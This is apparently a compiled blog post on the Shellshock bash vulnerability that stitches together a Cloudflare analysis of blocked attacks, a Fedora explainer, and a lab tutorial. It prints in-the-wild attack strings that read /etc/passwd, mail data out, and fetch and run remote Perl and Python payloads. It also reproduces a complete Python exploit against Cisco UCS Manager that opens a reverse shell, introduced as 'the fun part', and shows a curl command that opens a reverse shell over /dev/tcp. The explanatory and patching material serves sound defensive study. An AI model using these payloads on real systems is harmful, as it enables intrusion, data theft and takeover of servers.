How hackers are using it to exploit systems- Inside Shellshock

On Wednesday of last week, details of the Shellshock bash bug emerged. This bug started a scramble to patch computers, servers, routers, firewalls, and other computing appliances using vulnerable versions of bash.

a

CloudFlare immediately rolled out protection for Pro, Business, and Enterprise customers through our Web Application Firewall. On Sunday, after studying the extent of the problem, and looking at logs of attacks stopped by our WAF, we decided to roll out protection for our Free plan customers as well.

Since then we’ve been monitoring attacks we’ve stopped in order to understand what they look like, and where they come from. Based on our observations, it’s clear that hackers are exploiting Shellshock worldwide.
b

Eject

The Shellshock problem is an example of an arbitrary code execution (ACE) vulnerability. Typically, ACE vulnerability attacks are executed on programs that are running, and require a highly sophisticated understanding of the internals of code execution, memory layout, and assembly language—in short, this type of attack requires an expert.

Attacker will also use an ACE vulnerability to upload or run a program that gives them a simple way of controlling the targeted machine. This is often achieved by running a “shell”. A shell is a command-line where commands can be entered and executed.

The Shellshock vulnerability is a major problem because it removes the need for specialized knowledge, and provides a simple (unfortunately, very simple) way of taking control of another computer (such as a web server) and making it run code.

Suppose for a moment that you wanted to attack a web server and make its CD or DVD drive slide open. There’s actually a command on Linux that will do that: /bin/eject. If a web server is vulnerable to Shellshock you could attack it by adding the magic string () { :; }; to /bin/eject and then sending that string to the target computer over HTTP. Normally, the User-Agent string would identify the type of browser you are using, but, in in the case of the Shellshock vulnerability, it can be set to say anything.

For example, if example.com was vulnerable then

curl -H “User-Agent: () { :; }; /bin/eject” http://example.com/

would be enough to actually make the CD or DVD drive eject.

In monitoring the Shellshock attacks we’ve blocked, we’ve actually seen someone attempting precisely that attack. So, if you run a web server and suddenly find an ejected DVD it might be an indication that your machine is vulnerable to Shellshock.
Why that simple attack works

When a web server receives a request for a page there are three parts of the request that can be susceptible to the Shellshock attack: the request URL, the headers that are sent along with the URL, and what are known as “arguments” (when you enter your name and address on a web site it will typically be sent as arguments in the request).

For example, here’s an actual HTTP request that retrieves the CloudFlare homepage:

GET / HTTP/1.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,fr;q=0.6
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Host: cloudflare.com

In this case the URL is / (the main page) and the headers are Accept-Encoding, Accept-Language, etc. These headers provide the web server with information about the capabilities of my web browser, my preferred language, the web site I’m looking for, and what browser I am using.

It’s not uncommon for these to be turned into variables inside a web server so that the web server can examine them. (The web server might want to know what my preferred language is so it can decide how to respond to me).

For example, inside the web server responding to the request for the CloudFlare home page it’s possible that the following variables are defined by copying the request headers character by character.

HTTP_ACCEPT_ENCODING=gzip,deflate,sdch
HTTP_ACCEPT_LANGUAGE=en-US,en;q=0.8,fr;q=0.6
HTTP_CACHE_CONTROL=no-cache
HTTP_PRAGMA=no-cache
HTTP_USER_AGENT=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
HTTP_HOST=cloudflare.com

As long as those variables remain inside the web server software, and aren’t passed to other programs running on the web server, the server is not vulnerable.

Shellshock occurs when the variables are passed into the shell called “bash”. Bash is a common shell used on Linux systems. Web servers quite often need to run other programs to respond to a request, and it’s common that these variables are passed into bash or another shell.

The Shellshock problem specifically occurs when an attacker modifies the origin HTTP request to contain the magic () { :; }; string discussed above.

Suppose the attacker change the User-Agent header above from Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36 to simply () { :; }; /bin/eject. This creates the following variable inside a web server:

HTTP_USER_AGENT=() { :; }; /bin/eject

If that variable gets passed into bash by the web server, the Shellshock problem occurs. This is because bash has special rules for handling a variable starting with () { :; };. Rather than treating the variable HTTP_USER_AGENT as a sequence of characters with no special meaning, bash will interpret it as a command that needs to be executed (I’ve omitted the deeply technical explanations of why () { :; }; makes bash behave like this for the sake of clarity in this essay.)

The problem is that HTTP_USER_AGENT came from the User-Agent header which is something an attacker controls because it comes into the web server in an HTTP request. And that’s a recipe for disaster because an attacker can make a vulnerable server run any command it wants (see examples below).

The solution is to upgrade bash to a version that doesn’t interpret () { :; }; in a special way.
Where attacks are coming from

When we rolled out protection for all customers we put in place a metric that allowed us to monitor the number of Shellshock attacks attempted. They all received an HTTP 403 Forbidden error code, but we kept a log of when they occurred and basic information about the attack.

This chart shows the number of attacks per second across the CloudFlare network since rolling out protection for all customers.
c
From the moment CloudFlare turned on our Shellshock protection up until early this morning, we were seeing 10 to 15 attacks per second. In order of attack volume, these requests were coming from France (80%), US (7%), Netherlands (7%), and then smaller volumes from many other countries.

At about 0100 Pacific (1000 in Paris) the attacks from France ceased. We are currently seeing around 5 attacks per second. At the time of writing, we’ve blocked well over 1.1m Shellshock attacks.
Let your imagination run wild

Since its so easy to attack vulnerable machines with Shellshock, and because a vulnerable machine will run any command sent to it, attackers have let their imaginations run wild with ways to manipulate computers remotely.

CloudFlare’s WAF logs the reason it blocked a request allowing us to extract and analyze the actual Shellshock strings being used. Shellshock is being used primarily for reconnaissance: to extract private information, and to allow attackers to gain control of servers.

Most of the Shellshock commands are being injected using the HTTP User-Agent and Referer headers, but attackers are also using GET and POST arguments and other random HTTP headers.

To extract private information, attackers are using a couple of techniques. The simplest extraction attacks are in the form:

() {:;}; /bin/cat /etc/passwd

That reads the password file /etc/passwd, and adds it to the response from the web server. So an attacker injecting this code through the Shellshock vulnerability would see the password file dumped out onto their screen as part of the web page returned.

In one attack they simply email private files to themselves. To get data out via email, attackers are using the mail command like this:

() { :;}; /bin/bash -c \”whoami | mail -s ‘example.com l’ xxxxxxxxxxxxxxxx@gmail.com

That command first runs whoami to find out the name of the user running the web server. That’s especially useful because if the web server is being run as root (the superuser who can do anything) then the server will be a particularly rich target.

It then sends the user name along with the name of the web site being attacked (example.com above) via email. The name of the website appears in the email subject line.

At their leisure, the attacker can log into their email and find out which sites were vulnerable. The same email technique can be used to extract data like the password file.
Reconnaissance

By far the most popular attack we’ve seen (around 83% of all attacks) is called “reconnaissance”. In reconnaissance attacks, the attacker sends a command that will send a message to a third-party machine. The third-party machine will then compile a list of all the vulnerable machines that have contacted it.

In the past, we’ve seen lists of compromised machines being turned into botnets for DDoS, spam, or other purposes.

A popular reconnaissance technique uses the ping command to get a vulnerable machine to send a single packet (called a ping) to a third-party server that the attacker controls. The attack string looks like this:

() {:;}; ping -c 1 -p cb18cb3f7bca4441a595fcc1e240deb0 attacker-machine.com

The ping command is normally used to test whether a machine is “alive” or online (an alive machine responds with its own ping). If a web server is vulnerable to Shellshock then it will send a single ping packet (the -c 1) to attacker-machine.com with a payload set by the -p. The payload is a unique ID created by the attacker so they can trace the ping back to the vulnerable web site.
d

Another technique being used to identify vulnerable servers is to make the web server download a web page from an attacker-controlled machine. The attacker can then look in their web server logs to find out which machine was vulnerable. This attack works by sending a Shellshock string like:

() {:;}; /usr/bin/wget http://attacker-controlled.com/ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== >> /dev/null

The attacker looks in the web server log of attacker-controlled.com for entries. The page downloaded is set up by the attacker to be reveal the name of the site being attacked. The ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is actually a code indicating that the attacked site was example.com.

ZXhhbXBsZS5jb21TaGVsbFNob2NrU2FsdA== is actually a base64 encoded string. When it is decoded it reads:

example.comShellShockSalt

From this string the attacker can find out if their attack on example.com was successful, and, if so, they can then go back later to further exploit that site. While I’ve substituted out the domain that was the target, we are seeing real examples in the wild actually using ShellShockSalt as the salt in the hash.
Denial of Service

Another Shellshock attack uses this string

() { :;}; /bin/sleep 20|/sbin/sleep 20|/usr/bin/sleep 20

It attempts to run the sleep command in three different ways (since systems have slightly different configurations, sleep might be found in the directories /bin or /sbin or /usr/bin). Whichever sleep it runs, it causes the server to wait 20 seconds before replying . That will consume resources on the machine because a thread or process executing the sleep will do nothing else for 20 seconds.

This is perhaps the simplest denial-of-service of all. The attackers simply tells the machine to sleep for a while. Send enough of those commands, and the machine could be tied up doing nothing and unable to service legitimate requests.
e
Taking Control

Around 8% of the attacks we’ve seen so far have been aimed at directly taking control of a server. Remote control attacks look like this:

() { :;}; /bin/bash -c \”cd /tmp;wget http://213.x.x.x/ji;curl -O /tmp/ji http://213.x.x.x/ji ; perl /tmp/ji;rm -rf /tmp/ji\”

This command tries to use two programs (wget and curl) to downloaded a program from a server that the attacker controls. The program is written in the Perl language, and once downloaded it is immediately run. This program sets up remote access for an attacker to the vulnerable web server.

Another attack uses the Python language to set up a program that can be used to remotely run any command on the vulnerable machine:

() { :;}; /bin/bash -c \”/usr/bin/env curl -s http://xxxxxxxxxxxxxxx.com/cl.py > /tmp/clamd_update; chmod +x /tmp/clamd_update; /tmp/clamd_update > /dev/null& sleep 5; rm -rf /tmp/clamd_update\”

The cl.py program downloaded is made to look like an update to the ClamAV antivirus program. After a delay of 5 seconds, the attack cleans up after itself by removing the downloaded file (leaving it running only in memory).
Target Selection

Looking at the web sites being attacked, and the URLs being requested, it’s possible to make an educated guess at the specific web applications being attacked.

The top URLs we’ve seen attacked are: / (23.00%), /cgi-bin-sdb/printenv (15.12%), /cgi-mod/index.cgi (14.93%), /cgi-sys/entropysearch.cgi (15.20%) and /cgi-sys/defaultwebpage.cgi (14.59%). Some of these URLs are used by popular web applications and even a hardware appliance.

It appears that 23% of the attacks are directed against the cPanel web hosting control software, 15% against old Apache installations, and 15% against the Barracuda hardware products which have a web-based interface.
f
The latter is interesting because it highlights the fact that Shellshock isn’t just an attack on web sites: it’s an attack on anything that’s running bash and accessible across the Internet. That could include hardware devices, set-top boxes, laptop computers, even, perhaps, telephones.

Credit: https://blog.cloudflare.com

Cisco UCS Manager 2.1(1b) is vulnerable to Shellshock Exploit

By now, you’ve probably seen this magic incantation, or variations, sent all around as a quick test for vulnerability to CVE-2014-6271, known as “Shellshock”, because in this post-Heartbleed world, apparently all security flaws will have cute over-dramatic names.

env x='() { :;}; echo OOPS' bash -c :

This will print “OOPS” on a vulnerable system, but exit silently if bash has been patched.

And you’ve probably heard that it has something to do with environment variables. But, why is code in environment variables getting executed? Well, it’s not supposed to be — but, because of a feature which I’m tempted to call a bit too clever for its own good, there’s some room for a flaw. Bash is what you see as a terminal prompt, but it also is a scripting language, and has the ability to define functions. You do that like this:

$ yayfedora() { echo "Fedora is awesome."; }

and then you have a new command. Keep in mind that the “echo” here isn’t actually run yet; it’s just saved as what will happen when we run our new command. This will be important in a minute!

$ yayfedora 
Fedora is awesome.

Useful! But, let’s say, for some reason, I need to execute a new instance of bash, as a subprocess, and want to run my awesome new command under that. The statement bash -c somecommand does exactly this: runs the given command in a new shell:

$ bash -c yayfedora
bash: yayfedora: command not found

Ooh. Sad. The child didn’t inherit the function definition. But, it does inherit the environment — a collection of key-value pairs that have been exported from the shell. (This is a whole ‘nuther concept; if you’re not familiar with this, trust me for now.) And, it turns out, bash can export functions as well. So:

$ export -f yayfedora
$ bash -c yayfedora
Fedora is awesome.

Which is all well and good — except that the mechanism by which this is accomplished is sorta dodgy. Basically, since there is no Linux/Unix magic for doing functions in environment variables, the export function actually just creates a regular environment variable containing the function definition. Then, when the second shell reads the “incoming” environment and encounters a variable with contents that look like a function, it evaluates it.

In theory, this is perfectly safe, because, remember, defining a function doesn’t actually execute it. Except — and this is why we’re here — there was a bug in the code where the evaluation didn’t stop when the end of the function definition was reached. It just kepts going.

That would never happen when the function stored in an environment variable is made legitimately, with export -f. But, why be legit? An attacker can just make up any old environment variable, and if it looks like a function, new bash shells will think it is!

So, in our first example:

env x='() { :;}; echo OOPS' bash -c :

The “env” command runs a command with a given variable set. In this case, we’re setting “x” to something that looks like a function. The function is just a single “:”, which is actually a simple command which is defined as doing nothing. But then, after the semi-colon which signals the end of the function definition, there’s an echo command. That’s not supposed to be there, but there’s nothing stopping us from doing it.

Then, the command given to run with this new environment is a new bash shell, again with a “do nothing :” command, after which it will exit, completely harmlessly.

But — oops! When that new shell starts up and reads the environment, it gets to the “x” variable, and since it looks like a function, it evaluates it. The function definition is harmlessly loaded — and then our malicious payload is triggered too. So, if you run the above on a vulnerable system, you’ll get “OOPS” printed back at you. Or, an attacker could do a lot worse than just print things.

Our update does several things.

First, it fixes the flaw where the interpretation doesn’t stop at the end of the function definition (including some more sanity checks).

Second, it always prefixes the magical environment variables which hold exported functions with the string BASH_FUNC_ and suffixes them with (). That means you can’t just set any arbitrary environment variable — like those passed to a web server as part of the CGI interface! — to look like a function and attack via any bash subshell that comes up later.

And there’s quite a lot of other little cleanups in there too — security people at Fedora, at Red Hat, and around the world sure have been busy for the couple of days. Thanks to all of you for your hard work, and to Fedora’s awesome QA and Release Engineering teams, who sprung into action to make sure that these updates got to you quickly and safely.

Cisco UCS

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Now here goes the fun part. If a intruder or insider gets the connection to the management interface of the Cisco UCS Manager System then he/ she can run the following code.

#!/usr/bin/python
###############################################
# Cisco UCS Manager 2.1(1b) Shellshock Exploit
#
# CVE-2014-6278
# Confirmed on version 2.1(1b), but more are likely vulnerable.
# Cisco's advisory:
# Exploit generates a reverse shell to a nc listener.
# Exploit Author: @thatchriseckert
###############################################
importsys
importrequests
importtime
 
iflen(sys.argv) < 4:
    print"\n[*] Cisco UCS Manager 2.1(1b) Shellshock Exploit"
    print"[*] Usage: <Victim IP> <Attacking Host> <Reverse Shell Port>"
    print"[*]"
    print"[*] Example: shellshock.py 127.0.0.1 127.0.0.1 4444"
    print"[*] Listener: nc -lvp <port>"
    print"\n"
    sys.exit()
#Disables request warning for cert validation ignore.
requests.packages.urllib3.disable_warnings()
ucs =sys.argv[1]
url ="https://"+ucs +"/ucsm/isSamInstalled.cgi"
attackhost =sys.argv[2]
revshellport =sys.argv[3]
headers1 ={
        'User-Agent': '() { ignored;};/bin/bash -i >& /dev/tcp/'+attackhost +'/'+revshellport +' 0>&1'
        }
headers2 ={
        "User-Agent": '() { test;};echo \"Content-type: text/plain\"; echo; echo; echo $(</etc/passwd)'
        }
defexploit():
    try:
        r =requests.get(url, headers=headers1, verify=False, timeout=5)
    exceptException, e:
        if'timeout'instr(e):
            print"[+] Success.  Enjoy your shell..."
        else:
            print"[-] Something is wrong..."
            print"[-] Error: "+str(e)
defmain():
    try:
        r =requests.get(url, headers=headers2, verify=False, timeout=3)
        ifr.content.startswith('\nroot:'):
            print"[+] Host is vulnerable, spawning shell..."
            time.sleep(3)
            exploit()
        else:
            print"[-] Host is not vulnerable, quitting..."
            sys.exit()
    exceptException, e:
        print"[-] Something is wrong..."
        print"[-] Error: "+str(e)
if__name__ =="__main__":
    main()
This could exploit the systems shell and could compromise the system. Credit of the exploit code goes to the author.
EDB-ID: 39568 CVE: 2014-6278 OSVDB-ID: N/A
EDB Verified: Author: thatchriseckert Published: 2016-03-16
Download Exploit: Source Raw Download Vulnerable App: N/A

 

Shellshock Bash bug Explained with Examples

The team behind the Bash project (the most common shell used on Linux) recently issued a patch for a serious vulnerability that could allow for remote command execution on servers running the vulnerable bash versions.
This new security vulnerability known as the Bash or Shellshock bug could spell disaster for major digital companies, small-scale Web hosts and even Internet-connected devices.

It allows miscreants to remotely execute arbitrary code on systems ranging from web servers, routers, servers and Macs to various embedded devices that use Bash, and anything else that uses the flawed open-source shell. It’s a major vulnerability related to Bash, a computer program that’s installed on millions of computers around the world. There’s been a lot of confusion in mainstream media accounts about how the bug works, who’s vulnerable, and what users can do about it.

An attacker needs to inject his or her payload of code into the environment variables of a running process – and this is surprisingly easy to do, via Apache CGI scripts, DHCP options, OpenSSH and so on. When that process or its children invoke Bash, the code is picked up and executed.

The Bash flaw – designated CVE-2014-6271 – is being exploited in the wild against web servers, which are the most obvious targets but not by any means the only machines at risk.

Main Reason:

The issue starts with mod_cgi and how web servers interact with CGI programs (that could be written in Perl, PHP, Shell scripting or any other language). The web server passes (environment) user variables to them so they can do their work. In simple terms, this vulnerability allows an attacker to pass a command as a variable that gets executed by bash.

It means that if you are using mod_cgi on your web server and you have a CGI written in shell script, if you have CGI’s written on any other language, but you are using “system()”, “(backticks)” or executing any commands from the CGI, you are in deep trouble. Drop everything now and patch your servers.

In a few more days we will see real scans and actual attacks attempting to exploit this Shell Shock vulnerability.
You’re in luck with this one, identify Bash (which we’ll discuss more below) is installed on many computers running operating systems derived from an ancient operating system called Unix. That includes Macs, as well as a lot of web servers running operating systems such as Linux.

Whether these computers are actually vulnerable depends on whether they invoke Bash in an unsafe way. We already know that this is true of many web servers, and it’s believed that other types of network services could also be vulnerable. But it’ll take a while for security experts to audit various pieces of software to check for vulnerabilities.

Finding the Bug in your server:

Finding if you’re vulnerable is easier than previous vulnerabilities. Log into your server and via terminal run this command:
#env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’

If you are vulnerable it will return:

vulnerable
hello

1

Fix:

To fix it will depend on your NIX distribution but you will want to reinstall or update, which ever you prefer:

#sudo apt-get upgrade or apt-get -y install bash

#sudo yum update

2

Once complete, rerun the test and you will get:

#env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’

bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’
hello

3

Remote Code Execution Through Bash:

Example 1: Creating a file in the target system using shellshock

Below i explained with simple example of remote code execution through vulnerable bash.
#rm -fr /tmp/sathish

I already have a working apache web server with mod_cgi enabled and with simplebash script to echo “CGI Bash Bug Example” and size of root filesystem.

#cat /usr/lib/cgi-bin/bashbug.sh

#!/bin/bash
echo “Content-type: text/html”
echo “”
echo “CGI Bash Bug Example”
echo `df -h / | grep -v Filesystem`

4

5

#curl -k -H ‘User-Agent: () { :;}; echo BugFound>/tmp/sathish’ https://localhost/cgi-bin/bashbug.sh
#tail -n1 /var/log/apache2/access.log
#ls -l /tmp/sathish

6

Example 2: Getting a reverse tcp connection from target system using /dev/tcp connection.

In this example i had two machines, one is Kali Linux – 192.168.31.20 and Ubuntu 14.04 – 192.168.31.5 ( Shellshock ).

From my kali linux machine i executed the remote command on the target ubuntu system to create a tcp connection on port 4444 and then listen on port 4444 in my local machine using netcat.

7

root@kali# nc -lvp 4444

root@kali# curl -H ‘x: () { :;}; /bin/bash -i >& /dev/tcp/192.168.31.20/4444 0>&1’ http://192.168.31.5/cgi-bin/bashbug.sh

8

9

That’s it we successfully got the reverse connection of www-data user from the bash vulnerable system.

10

So you have a cgi file named “bashbug” that does nothing but respond with “CGI bug found”. If you call it using curl with a malicious user agent header, bash stores that header in an environment variable, but due to the bug, the code gets executed which creates the file “/tmp/sathish”, is that righ.

Patches released on Wednesday by Linux vendors, the upstream maintainer of Bash, and others for OS X, blocked these early attacks, but it’s understood they do not completely protect Bash from code injection via environment variables.

New packages of Bash were rolled out on the same day, but further investigation made it clear that the patched version is still exploitable, and at the very least can be crashed due to a null-pointer exception. The incomplete fix is being tracked as CVE-2014-7169.

Red Hat, at time of writing, is urging people to upgrade to the version of Bash that fixes the first reported security hole, and not wait for the patch that fixes the secondary lingering vulnerability – designated CVE-2014-7169.

“CVE-2014-7169 is a less severe issue and patches for it are being worked on,” the Linux maker said.

Source: https://sathisharthars.wordpress.com/tag/vulnerable-bash/